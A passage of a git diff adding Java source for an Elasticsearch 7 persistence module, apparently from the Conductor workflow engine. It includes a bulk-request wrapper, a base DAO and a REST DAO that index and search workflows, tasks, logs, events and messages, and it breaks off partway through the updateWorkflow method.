    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import java.util.Objects; + +import org.elasticsearch.action.bulk.BulkRequest; +import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.update.UpdateRequest; +import org.springframework.lang.NonNull; + +/** Thread-safe wrapper for {@link BulkRequest}. */ +class BulkRequestWrapper { + private final BulkRequest bulkRequest; + + BulkRequestWrapper(@NonNull BulkRequest bulkRequest) { + this.bulkRequest = Objects.requireNonNull(bulkRequest); + } + + public void add(@NonNull UpdateRequest req) { + synchronized (bulkRequest) { + bulkRequest.add(Objects.requireNonNull(req)); + } + } + + public void add(@NonNull IndexRequest req) { + synchronized (bulkRequest) { + bulkRequest.add(Objects.requireNonNull(req)); + } + } + + BulkRequest get() { + return bulkRequest; + } + + int numberOfActions() { + synchronized (bulkRequest) { + return bulkRequest.numberOfActions(); + } + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/ElasticSearchBaseDAO.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/ElasticSearchBaseDAO.java new file mode 100644 index 0000000..b202a42 --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/ElasticSearchBaseDAO.java @@ -0,0 +1,90 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import java.io.IOException; +import java.util.ArrayList; + +import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.StringUtils; +import org.elasticsearch.index.query.BoolQueryBuilder; +import org.elasticsearch.index.query.QueryBuilder; +import org.elasticsearch.index.query.QueryBuilders; +import org.elasticsearch.index.query.QueryStringQueryBuilder; + +import com.netflix.conductor.dao.IndexDAO; +import com.netflix.conductor.es7.dao.query.parser.Expression; +import com.netflix.conductor.es7.dao.query.parser.internal.ParserException; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; + +abstract class ElasticSearchBaseDAO implements IndexDAO { + + String indexPrefix; + ObjectMapper objectMapper; + + String loadTypeMappingSource(String path) throws IOException { + return applyIndexPrefixToTemplate( + IOUtils.toString(ElasticSearchBaseDAO.class.getResourceAsStream(path))); + } + + private String applyIndexPrefixToTemplate(String text) throws JsonProcessingException { + String indexPatternsFieldName = "index_patterns"; + JsonNode root = objectMapper.readTree(text); + if (root != null) { + JsonNode indexPatternsNodeValue = root.get(indexPatternsFieldName); + if (indexPatternsNodeValue != null && indexPatternsNodeValue.isArray()) { + ArrayList patternsWithPrefix = new ArrayList<>(); + indexPatternsNodeValue.forEach( + v -> { + String patternText = v.asText(); + StringBuilder sb = new StringBuilder(); + if (patternText.startsWith("*")) { + sb.append("*") + .append(indexPrefix) + .append("_") + .append(patternText.substring(1)); + } else { + sb.append(indexPrefix).append("_").append(patternText); + } + patternsWithPrefix.add(sb.toString()); + }); + ((ObjectNode) root) + .set(indexPatternsFieldName, objectMapper.valueToTree(patternsWithPrefix)); + System.out.println( + objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(root)); + return objectMapper.writerWithDefaultPrettyPrinter().writeValueAsString(root); + } + } + return text; + } + + BoolQueryBuilder boolQueryBuilder(String expression, String queryString) + throws ParserException { + QueryBuilder queryBuilder = QueryBuilders.matchAllQuery(); + if (StringUtils.isNotEmpty(expression)) { + Expression exp = Expression.fromString(expression); + queryBuilder = exp.getFilterBuilder(); + } + BoolQueryBuilder filterQuery = QueryBuilders.boolQuery().must(queryBuilder); + QueryStringQueryBuilder stringQuery = QueryBuilders.queryStringQuery(queryString); + return QueryBuilders.boolQuery().must(stringQuery).must(filterQuery); + } + + protected String getIndexName(String documentType) { + return indexPrefix + "_" + documentType; + } +} diff --git a/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/ElasticSearchRestDAOV7.java b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/ElasticSearchRestDAOV7.java new file mode 100644 index 0000000..5979cdc --- /dev/null +++ b/es7-persistence/src/main/java/com/netflix/conductor/es7/dao/index/ElasticSearchRestDAOV7.java @@ -0,0 +1,1369 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import java.io.IOException; +import java.io.InputStream; +import java.text.SimpleDateFormat; +import java.time.Instant; +import java.time.LocalDate; +import java.util.*; +import java.util.concurrent.*; +import java.util.stream.Collectors; +import java.util.stream.IntStream; + +import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.tuple.ImmutablePair; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.http.HttpEntity; +import org.apache.http.HttpStatus; +import org.apache.http.entity.ContentType; +import org.apache.http.nio.entity.NByteArrayEntity; +import org.apache.http.nio.entity.NStringEntity; +import org.apache.http.util.EntityUtils; +import org.elasticsearch.action.DocWriteResponse; +import org.elasticsearch.action.bulk.BulkRequest; +import org.elasticsearch.action.delete.DeleteRequest; +import org.elasticsearch.action.delete.DeleteResponse; +import org.elasticsearch.action.get.GetRequest; +import org.elasticsearch.action.get.GetResponse; +import org.elasticsearch.action.index.IndexRequest; +import org.elasticsearch.action.search.SearchRequest; +import org.elasticsearch.action.search.SearchResponse; +import org.elasticsearch.action.support.WriteRequest; +import org.elasticsearch.action.update.UpdateRequest; +import org.elasticsearch.client.*; +import org.elasticsearch.client.core.CountRequest; +import org.elasticsearch.client.core.CountResponse; +import org.elasticsearch.index.query.BoolQueryBuilder; +import org.elasticsearch.index.query.QueryBuilder; +import org.elasticsearch.index.query.QueryBuilders; +import org.elasticsearch.search.SearchHit; +import org.elasticsearch.search.SearchHits; +import org.elasticsearch.search.builder.SearchSourceBuilder; +import org.elasticsearch.search.sort.FieldSortBuilder; +import org.elasticsearch.search.sort.SortOrder; +import org.elasticsearch.xcontent.XContentType; +import org.joda.time.DateTime; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.dao.IndexDAO; +import com.netflix.conductor.es7.config.ElasticSearchProperties; +import com.netflix.conductor.es7.dao.query.parser.internal.ParserException; +import com.netflix.conductor.metrics.Monitors; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; +import com.fasterxml.jackson.databind.type.MapType; +import com.fasterxml.jackson.databind.type.TypeFactory; +import jakarta.annotation.*; + +@Trace +public class ElasticSearchRestDAOV7 extends ElasticSearchBaseDAO implements IndexDAO { + + private static final Logger logger = LoggerFactory.getLogger(ElasticSearchRestDAOV7.class); + + private static final String CLASS_NAME = ElasticSearchRestDAOV7.class.getSimpleName(); + + private static final int CORE_POOL_SIZE = 6; + private static final long KEEP_ALIVE_TIME = 1L; + + private static final String WORKFLOW_DOC_TYPE = "workflow"; + private static final String TASK_DOC_TYPE = "task"; + private static final String LOG_DOC_TYPE = "task_log"; + private static final String EVENT_DOC_TYPE = "event"; + private static final String MSG_DOC_TYPE = "message"; + + private static final TimeZone GMT = TimeZone.getTimeZone("GMT"); + private static final SimpleDateFormat SIMPLE_DATE_FORMAT = new SimpleDateFormat("yyyyMMWW"); + + private @interface HttpMethod { + + String GET = "GET"; + String POST = "POST"; + String PUT = "PUT"; + String HEAD = "HEAD"; + } + + private static final String className = ElasticSearchRestDAOV7.class.getSimpleName(); + + private final String workflowIndexName; + private final String taskIndexName; + private final String eventIndexPrefix; + private String eventIndexName; + private final String messageIndexPrefix; + private String messageIndexName; + private String logIndexName; + private final String logIndexPrefix; + + private final String clusterHealthColor; + private final RestHighLevelClient elasticSearchClient; + private final RestClient elasticSearchAdminClient; + private final ExecutorService executorService; + private final ExecutorService logExecutorService; + private final ConcurrentHashMap, BulkRequests> + bulkRequests; + private final int indexBatchSize; + private final int asyncBufferFlushTimeout; + private final ElasticSearchProperties properties; + private final RetryTemplate retryTemplate; + + static { + SIMPLE_DATE_FORMAT.setTimeZone(GMT); + } + + public ElasticSearchRestDAOV7( + RestClientBuilder restClientBuilder, + RetryTemplate retryTemplate, + ElasticSearchProperties properties, + ObjectMapper objectMapper) { + + this.objectMapper = objectMapper; + this.elasticSearchAdminClient = restClientBuilder.build(); + this.elasticSearchClient = new RestHighLevelClient(restClientBuilder); + this.clusterHealthColor = properties.getClusterHealthColor(); + this.bulkRequests = new ConcurrentHashMap<>(); + this.indexBatchSize = properties.getIndexBatchSize(); + this.asyncBufferFlushTimeout = (int) properties.getAsyncBufferFlushTimeout().getSeconds(); + this.properties = properties; + + this.indexPrefix = properties.getIndexPrefix(); + + this.workflowIndexName = getIndexName(WORKFLOW_DOC_TYPE); + this.taskIndexName = getIndexName(TASK_DOC_TYPE); + this.logIndexPrefix = this.indexPrefix + "_" + LOG_DOC_TYPE; + this.messageIndexPrefix = this.indexPrefix + "_" + MSG_DOC_TYPE; + this.eventIndexPrefix = this.indexPrefix + "_" + EVENT_DOC_TYPE; + int workerQueueSize = properties.getAsyncWorkerQueueSize(); + int maximumPoolSize = properties.getAsyncMaxPoolSize(); + + // Set up a workerpool for performing async operations. + this.executorService = + new ThreadPoolExecutor( + CORE_POOL_SIZE, + maximumPoolSize, + KEEP_ALIVE_TIME, + TimeUnit.MINUTES, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("indexQueue"); + }); + + // Set up a workerpool for performing async operations for task_logs, event_executions, + // message + int corePoolSize = 1; + maximumPoolSize = 2; + long keepAliveTime = 30L; + this.logExecutorService = + new ThreadPoolExecutor( + corePoolSize, + maximumPoolSize, + keepAliveTime, + TimeUnit.SECONDS, + new LinkedBlockingQueue<>(workerQueueSize), + (runnable, executor) -> { + logger.warn( + "Request {} to async log dao discarded in executor {}", + runnable, + executor); + Monitors.recordDiscardedIndexingCount("logQueue"); + }); + + Executors.newSingleThreadScheduledExecutor() + .scheduleAtFixedRate(this::flushBulkRequests, 60, 30, TimeUnit.SECONDS); + this.retryTemplate = retryTemplate; + } + + @PreDestroy + private void shutdown() { + logger.info("Gracefully shutdown executor service"); + shutdownExecutorService(logExecutorService); + shutdownExecutorService(executorService); + } + + private void shutdownExecutorService(ExecutorService execService) { + try { + execService.shutdown(); + if (execService.awaitTermination(30, TimeUnit.SECONDS)) { + logger.debug("tasks completed, shutting down"); + } else { + logger.warn("Forcing shutdown after waiting for 30 seconds"); + execService.shutdownNow(); + } + } catch (InterruptedException ie) { + logger.warn( + "Shutdown interrupted, invoking shutdownNow on scheduledThreadPoolExecutor for delay queue"); + execService.shutdownNow(); + Thread.currentThread().interrupt(); + } + } + + @Override + @PostConstruct + public void setup() throws Exception { + waitForHealthyCluster(); + + if (properties.isAutoIndexManagementEnabled()) { + createIndexesTemplates(); + createWorkflowIndex(); + createTaskIndex(); + } + } + + private void createIndexesTemplates() { + try { + initIndexesTemplates(); + updateIndexesNames(); + Executors.newScheduledThreadPool(1) + .scheduleAtFixedRate(this::updateIndexesNames, 0, 1, TimeUnit.HOURS); + } catch (Exception e) { + logger.error("Error creating index templates!", e); + } + } + + private void initIndexesTemplates() { + initIndexTemplate(LOG_DOC_TYPE); + initIndexTemplate(EVENT_DOC_TYPE); + initIndexTemplate(MSG_DOC_TYPE); + } + + /** Initializes the index with the required templates and mappings. */ + private void initIndexTemplate(String type) { + String template = "template_" + type; + try { + if (doesResourceNotExist("/_template/" + template)) { + logger.info("Creating the index template '" + template + "'"); + InputStream stream = + ElasticSearchRestDAOV7.class.getResourceAsStream("/" + template + ".json"); + byte[] templateSource = IOUtils.toByteArray(stream); + + HttpEntity entity = + new NByteArrayEntity(templateSource, ContentType.APPLICATION_JSON); + Request request = new Request(HttpMethod.PUT, "/_template/" + template); + request.setEntity(entity); + String test = + IOUtils.toString( + elasticSearchAdminClient + .performRequest(request) + .getEntity() + .getContent()); + } + } catch (Exception e) { + logger.error("Failed to init " + template, e); + } + } + + private void updateIndexesNames() { + logIndexName = updateIndexName(LOG_DOC_TYPE); + eventIndexName = updateIndexName(EVENT_DOC_TYPE); + messageIndexName = updateIndexName(MSG_DOC_TYPE); + } + + private String updateIndexName(String type) { + String indexName = + this.indexPrefix + "_" + type + "_" + SIMPLE_DATE_FORMAT.format(new Date()); + try { + addIndex(indexName); + return indexName; + } catch (IOException e) { + logger.error("Failed to update log index name: {}", indexName, e); + throw new NonTransientException(e.getMessage(), e); + } + } + + private void createWorkflowIndex() { + String indexName = getIndexName(WORKFLOW_DOC_TYPE); + try { + addIndex(indexName, "/mappings_docType_workflow.json"); + } catch (IOException e) { + logger.error("Failed to initialize index '{}'", indexName, e); + } + } + + private void createTaskIndex() { + String indexName = getIndexName(TASK_DOC_TYPE); + try { + addIndex(indexName, "/mappings_docType_task.json"); + } catch (IOException e) { + logger.error("Failed to initialize index '{}'", indexName, e); + } + } + + /** + * Waits for the ES cluster to become green. + * + * @throws Exception If there is an issue connecting with the ES cluster. + */ + private void waitForHealthyCluster() throws Exception { + Map params = new HashMap<>(); + params.put("wait_for_status", this.clusterHealthColor); + params.put("timeout", "30s"); + Request request = new Request("GET", "/_cluster/health"); + request.addParameters(params); + elasticSearchAdminClient.performRequest(request); + } + + /** + * Adds an index to elasticsearch if it does not exist. + * + * @param index The name of the index to create. + * @param mappingFilename Index mapping filename + * @throws IOException If an error occurred during requests to ES. + */ + private void addIndex(String index, final String mappingFilename) throws IOException { + logger.info("Adding index '{}'...", index); + String resourcePath = "/" + index; + if (doesResourceNotExist(resourcePath)) { + try { + ObjectNode setting = objectMapper.createObjectNode(); + ObjectNode indexSetting = objectMapper.createObjectNode(); + ObjectNode root = objectMapper.createObjectNode(); + indexSetting.put("number_of_shards", properties.getIndexShardCount()); + indexSetting.put("number_of_replicas", properties.getIndexReplicasCount()); + JsonNode mappingNodeValue = + objectMapper.readTree(loadTypeMappingSource(mappingFilename)); + root.set("settings", indexSetting); + root.set("mappings", mappingNodeValue); + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity( + new NStringEntity( + objectMapper.writeValueAsString(root), + ContentType.APPLICATION_JSON)); + elasticSearchAdminClient.performRequest(request); + logger.info("Added '{}' index", index); + } catch (ResponseException e) { + + boolean errorCreatingIndex = true; + + Response errorResponse = e.getResponse(); + if (errorResponse.getStatusLine().getStatusCode() == HttpStatus.SC_BAD_REQUEST) { + JsonNode root = + objectMapper.readTree(EntityUtils.toString(errorResponse.getEntity())); + String errorCode = root.get("error").get("type").asText(); + if ("index_already_exists_exception".equals(errorCode)) { + errorCreatingIndex = false; + } + } + + if (errorCreatingIndex) { + throw e; + } + } + } else { + logger.info("Index '{}' already exists", index); + } + } + + /** + * Adds an index to elasticsearch if it does not exist. + * + * @param index The name of the index to create. + * @throws IOException If an error occurred during requests to ES. + */ + private void addIndex(final String index) throws IOException { + + logger.info("Adding index '{}'...", index); + + String resourcePath = "/" + index; + + if (doesResourceNotExist(resourcePath)) { + + try { + ObjectNode setting = objectMapper.createObjectNode(); + ObjectNode indexSetting = objectMapper.createObjectNode(); + + indexSetting.put("number_of_shards", properties.getIndexShardCount()); + indexSetting.put("number_of_replicas", properties.getIndexReplicasCount()); + + setting.set("settings", indexSetting); + + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity( + new NStringEntity(setting.toString(), ContentType.APPLICATION_JSON)); + elasticSearchAdminClient.performRequest(request); + logger.info("Added '{}' index", index); + } catch (ResponseException e) { + + boolean errorCreatingIndex = true; + + Response errorResponse = e.getResponse(); + if (errorResponse.getStatusLine().getStatusCode() == HttpStatus.SC_BAD_REQUEST) { + JsonNode root = + objectMapper.readTree(EntityUtils.toString(errorResponse.getEntity())); + String errorCode = root.get("error").get("type").asText(); + if ("index_already_exists_exception".equals(errorCode)) { + errorCreatingIndex = false; + } + } + + if (errorCreatingIndex) { + throw e; + } + } + } else { + logger.info("Index '{}' already exists", index); + } + } + + /** + * Adds a mapping type to an index if it does not exist. + * + * @param index The name of the index. + * @param mappingType The name of the mapping type. + * @param mappingFilename The name of the mapping file to use to add the mapping if it does not + * exist. + * @throws IOException If an error occurred during requests to ES. + */ + private void addMappingToIndex( + final String index, final String mappingType, final String mappingFilename) + throws IOException { + + logger.info("Adding '{}' mapping to index '{}'...", mappingType, index); + + String resourcePath = "/" + index + "/_mapping"; + + if (doesResourceNotExist(resourcePath)) { + HttpEntity entity = + new NByteArrayEntity( + loadTypeMappingSource(mappingFilename).getBytes(), + ContentType.APPLICATION_JSON); + Request request = new Request(HttpMethod.PUT, resourcePath); + request.setEntity(entity); + elasticSearchAdminClient.performRequest(request); + logger.info("Added '{}' mapping", mappingType); + } else { + logger.info("Mapping '{}' already exists", mappingType); + } + } + + /** + * Determines whether a resource exists in ES. This will call a GET method to a particular path + * and return true if status 200; false otherwise. + * + * @param resourcePath The path of the resource to get. + * @return True if it exists; false otherwise. + * @throws IOException If an error occurred during requests to ES. + */ + public boolean doesResourceExist(final String resourcePath) throws IOException { + Request request = new Request(HttpMethod.HEAD, resourcePath); + Response response = elasticSearchAdminClient.performRequest(request); + return response.getStatusLine().getStatusCode() == HttpStatus.SC_OK; + } + + /** + * The inverse of doesResourceExist. + * + * @param resourcePath The path of the resource to check. + * @return True if it does not exist; false otherwise. + * @throws IOException If an error occurred during requests to ES. + */ + public boolean doesResourceNotExist(final String resourcePath) throws IOException { + return !doesResourceExist(resourcePath); + } + + @Override + public void indexWorkflow(WorkflowSummary workflow) { + try { + long startTime = Instant.now().toEpochMilli(); + String workflowId = workflow.getWorkflowId(); + byte[] docBytes = objectMapper.writeValueAsBytes(workflow); + + IndexRequest request = + new IndexRequest(workflowIndexName) + .id(workflowId) + .source(docBytes, XContentType.JSON); + if (properties.isWaitForIndexRefresh()) { + request.setRefreshPolicy(WriteRequest.RefreshPolicy.WAIT_UNTIL); + } + elasticSearchClient.index(request, RequestOptions.DEFAULT); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing workflow: {}", endTime - startTime, workflowId); + Monitors.recordESIndexTime("index_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + Monitors.error(className, "indexWorkflow"); + logger.error("Failed to index workflow: {}", workflow.getWorkflowId(), e); + } + } + + @Override + public CompletableFuture asyncIndexWorkflow(WorkflowSummary workflow) { + return CompletableFuture.runAsync(() -> indexWorkflow(workflow), executorService); + } + + @Override + public void indexTask(TaskSummary task) { + try { + long startTime = Instant.now().toEpochMilli(); + String taskId = task.getTaskId(); + + WriteRequest.RefreshPolicy refreshPolicy = + properties.isWaitForIndexRefresh() + ? WriteRequest.RefreshPolicy.WAIT_UNTIL + : null; + indexObject(taskIndexName, TASK_DOC_TYPE, taskId, task, refreshPolicy); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing task:{} in workflow: {}", + endTime - startTime, + taskId, + task.getWorkflowId()); + Monitors.recordESIndexTime("index_task", TASK_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to index task: {}", task.getTaskId(), e); + } + } + + @Override + public CompletableFuture asyncIndexTask(TaskSummary task) { + return CompletableFuture.runAsync(() -> indexTask(task), executorService); + } + + @Override + public void addTaskExecutionLogs(List taskExecLogs) { + if (taskExecLogs.isEmpty()) { + return; + } + + long startTime = Instant.now().toEpochMilli(); + BulkRequest bulkRequest = new BulkRequest(); + for (TaskExecLog log : taskExecLogs) { + + byte[] docBytes; + try { + docBytes = objectMapper.writeValueAsBytes(log); + } catch (JsonProcessingException e) { + logger.error("Failed to convert task log to JSON for task {}", log.getTaskId()); + continue; + } + + IndexRequest request = new IndexRequest(logIndexName); + request.source(docBytes, XContentType.JSON); + bulkRequest.add(request); + } + + try { + elasticSearchClient.bulk(bulkRequest, RequestOptions.DEFAULT); + long endTime = Instant.now().toEpochMilli(); + logger.debug("Time taken {} for indexing taskExecutionLogs", endTime - startTime); + Monitors.recordESIndexTime( + "index_task_execution_logs", LOG_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + List taskIds = + taskExecLogs.stream().map(TaskExecLog::getTaskId).collect(Collectors.toList()); + logger.error("Failed to index task execution logs for tasks: {}", taskIds, e); + } + } + + @Override + public CompletableFuture asyncAddTaskExecutionLogs(List logs) { + return CompletableFuture.runAsync(() -> addTaskExecutionLogs(logs), logExecutorService); + } + + @Override + public List getTaskExecutionLogs(String taskId) { + try { + BoolQueryBuilder query = boolQueryBuilder("taskId='" + taskId + "'", "*"); + + // Create the searchObjectIdsViaExpression source + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(query); + searchSourceBuilder.sort(new FieldSortBuilder("createdTime").order(SortOrder.ASC)); + searchSourceBuilder.size(properties.getTaskLogResultLimit()); + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(logIndexPrefix + "*"); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = + elasticSearchClient.search(searchRequest, RequestOptions.DEFAULT); + + return mapTaskExecLogsResponse(response); + } catch (Exception e) { + logger.error("Failed to get task execution logs for task: {}", taskId, e); + } + return null; + } + + private List mapTaskExecLogsResponse(SearchResponse response) throws IOException { + SearchHit[] hits = response.getHits().getHits(); + List logs = new ArrayList<>(hits.length); + for (SearchHit hit : hits) { + String source = hit.getSourceAsString(); + TaskExecLog tel = objectMapper.readValue(source, TaskExecLog.class); + logs.add(tel); + } + return logs; + } + + @Override + public List getMessages(String queue) { + try { + BoolQueryBuilder query = boolQueryBuilder("queue='" + queue + "'", "*"); + + // Create the searchObjectIdsViaExpression source + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(query); + searchSourceBuilder.sort(new FieldSortBuilder("created").order(SortOrder.ASC)); + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(messageIndexPrefix + "*"); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = + elasticSearchClient.search(searchRequest, RequestOptions.DEFAULT); + return mapGetMessagesResponse(response); + } catch (Exception e) { + logger.error("Failed to get messages for queue: {}", queue, e); + } + return null; + } + + private List mapGetMessagesResponse(SearchResponse response) throws IOException { + SearchHit[] hits = response.getHits().getHits(); + TypeFactory factory = TypeFactory.defaultInstance(); + MapType type = factory.constructMapType(HashMap.class, String.class, String.class); + List messages = new ArrayList<>(hits.length); + for (SearchHit hit : hits) { + String source = hit.getSourceAsString(); + Map mapSource = objectMapper.readValue(source, type); + Message msg = new Message(mapSource.get("messageId"), mapSource.get("payload"), null); + messages.add(msg); + } + return messages; + } + + @Override + public List getEventExecutions(String event) { + try { + BoolQueryBuilder query = boolQueryBuilder("event='" + event + "'", "*"); + + // Create the searchObjectIdsViaExpression source + SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder(); + searchSourceBuilder.query(query); + searchSourceBuilder.sort(new FieldSortBuilder("created").order(SortOrder.ASC)); + + // Generate the actual request to send to ES. + SearchRequest searchRequest = new SearchRequest(eventIndexPrefix + "*"); + searchRequest.source(searchSourceBuilder); + + SearchResponse response = + elasticSearchClient.search(searchRequest, RequestOptions.DEFAULT); + + return mapEventExecutionsResponse(response); + } catch (Exception e) { + logger.error("Failed to get executions for event: {}", event, e); + } + return null; + } + + private List mapEventExecutionsResponse(SearchResponse response) + throws IOException { + SearchHit[] hits = response.getHits().getHits(); + List executions = new ArrayList<>(hits.length); + for (SearchHit hit : hits) { + String source = hit.getSourceAsString(); + EventExecution tel = objectMapper.readValue(source, EventExecution.class); + executions.add(tel); + } + return executions; + } + + @Override + public void addMessage(String queue, Message message) { + try { + long startTime = Instant.now().toEpochMilli(); + Map doc = new HashMap<>(); + doc.put("messageId", message.getId()); + doc.put("payload", message.getPayload()); + doc.put("queue", queue); + doc.put("created", System.currentTimeMillis()); + + indexObject(messageIndexName, MSG_DOC_TYPE, doc); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing message: {}", + endTime - startTime, + message.getId()); + Monitors.recordESIndexTime("add_message", MSG_DOC_TYPE, endTime - startTime); + } catch (Exception e) { + logger.error("Failed to index message: {}", message.getId(), e); + } + } + + @Override + public CompletableFuture asyncAddMessage(String queue, Message message) { + return CompletableFuture.runAsync(() -> addMessage(queue, message), executorService); + } + + @Override + public void addEventExecution(EventExecution eventExecution) { + try { + long startTime = Instant.now().toEpochMilli(); + String id = + eventExecution.getName() + + "." + + eventExecution.getEvent() + + "." + + eventExecution.getMessageId() + + "." + + eventExecution.getId(); + + indexObject(eventIndexName, EVENT_DOC_TYPE, id, eventExecution, null); + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for indexing event execution: {}", + endTime - startTime, + eventExecution.getId()); + Monitors.recordESIndexTime("add_event_execution", EVENT_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "logQueue", ((ThreadPoolExecutor) logExecutorService).getQueue().size()); + } catch (Exception e) { + logger.error("Failed to index event execution: {}", eventExecution.getId(), e); + } + } + + @Override + public CompletableFuture asyncAddEventExecution(EventExecution eventExecution) { + return CompletableFuture.runAsync( + () -> addEventExecution(eventExecution), logExecutorService); + } + + @Override + public SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectIdsViaExpression( + query, start, count, sort, freeText, WORKFLOW_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + @Override + public SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectsViaExpression( + query, + start, + count, + sort, + freeText, + WORKFLOW_DOC_TYPE, + false, + WorkflowSummary.class); + } catch (Exception e) { + throw new TransientException(e.getMessage(), e); + } + } + + private SearchResult searchObjectsViaExpression( + String structuredQuery, + int start, + int size, + List sortOptions, + String freeTextQuery, + String docType, + boolean idOnly, + Class clazz) + throws ParserException, IOException { + QueryBuilder queryBuilder = boolQueryBuilder(structuredQuery, freeTextQuery); + return searchObjects( + getIndexName(docType), queryBuilder, start, size, sortOptions, idOnly, clazz); + } + + @Override + public SearchResult searchTasks( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectIdsViaExpression(query, start, count, sort, freeText, TASK_DOC_TYPE); + } catch (Exception e) { + throw new NonTransientException(e.getMessage(), e); + } + } + + @Override + public SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort) { + try { + return searchObjectsViaExpression( + query, start, count, sort, freeText, TASK_DOC_TYPE, false, TaskSummary.class); + } catch (Exception e) { + throw new TransientException(e.getMessage(), e); + } + } + + @Override + public void removeWorkflow(String workflowId) { + long startTime = Instant.now().toEpochMilli(); + DeleteRequest request = new DeleteRequest(workflowIndexName, workflowId); + + try { + DeleteResponse response = elasticSearchClient.delete(request, RequestOptions.DEFAULT); + + if (response.getResult() == DocWriteResponse.Result.NOT_FOUND) { + logger.error("Index removal failed - document not found by id: {}", workflowId); + } + long endTime = Instant.now().toEpochMilli(); + logger.debug( + "Time taken {} for removing workflow: {}", endTime - startTime, workflowId); + Monitors.recordESIndexTime("remove_workflow", WORKFLOW_DOC_TYPE, endTime - startTime); + Monitors.recordWorkerQueueSize( + "indexQueue", ((ThreadPoolExecutor) executorService).getQueue().size()); + } catch (IOException e) { + logger.error("Failed to remove workflow {} from index", workflowId, e); + Monitors.error(className, "remove"); + } + } + + @Override + public CompletableFuture asyncRemoveWorkflow(String workflowId) { + return CompletableFuture.runAsync(() -> removeWorkflow(workflowId), executorService); + } + + @Override + public void updateWorkflow(String workflowInstanceId, String[] keys, Object[] values) { + try { + if (keys.length != values.length) { + throw new NonTransientException("Number of keys and values do not match"); + } + + long startTime = Instant.now().toEpochMilli(); + UpdateRequest request = new UpdateRequest(workflowIndexName, workflowInstanceId); + Map source = + IntStream.range(0, keys.length) + .boxed() + .collect(Collectors.toMap(i -> keys[i], i -> values[i])); + request.doc(source); + + logger.debug("Updating workflow {} with {}", workflowInstanceId, source); + elasticSearchClient.update(request, RequestOptions.DEFAULT); + long 